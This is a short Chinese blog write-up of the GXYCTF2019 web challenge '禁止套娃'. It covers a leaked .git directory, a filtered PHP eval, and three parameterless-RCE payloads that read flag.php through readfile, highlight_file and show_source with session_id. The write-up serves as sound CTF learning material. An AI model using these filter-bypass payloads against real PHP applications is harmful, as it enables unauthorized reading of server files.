web | [GXYCTF2019]禁止套娃

毛都没有,唯一的发现是php

然后随便输一下发现是nginx/1.14.2

但是仍然没有什么用

然后发现是git泄露,上Githack

审计index.php

第一层过滤了各种伪协议

第二层把最内层括号中间的东西取了出来,然后替换为NULL,并保证了不能有多余的东西,也就是其他师傅所说的无参数RCE

第三层过滤了常用的命令执行函数

以下为构造过程:

localeconv() 函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是.

current() 返回数组中的当前单元, 默认取第一个值。

> current(localeconv()) 返回一个点

查看目录:

剩下的没什么思路了,详细的内容参考师傅的博客:

https://www.cnblogs.com/wangtanzhi/p/12260986.html

大致三种做法:

1 通过打乱数组顺序读flag.php

> readfile(array_rand(array_flip(scandir(current(localeconv())))));

2 利用数组反转和high_light()

?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));

3 利用session并读取

> ?exp=show_source(session_id(session_start()));

posted @ 2020-12-22 21:40  Mz1  阅读(207)  评论(0编辑  收藏  举报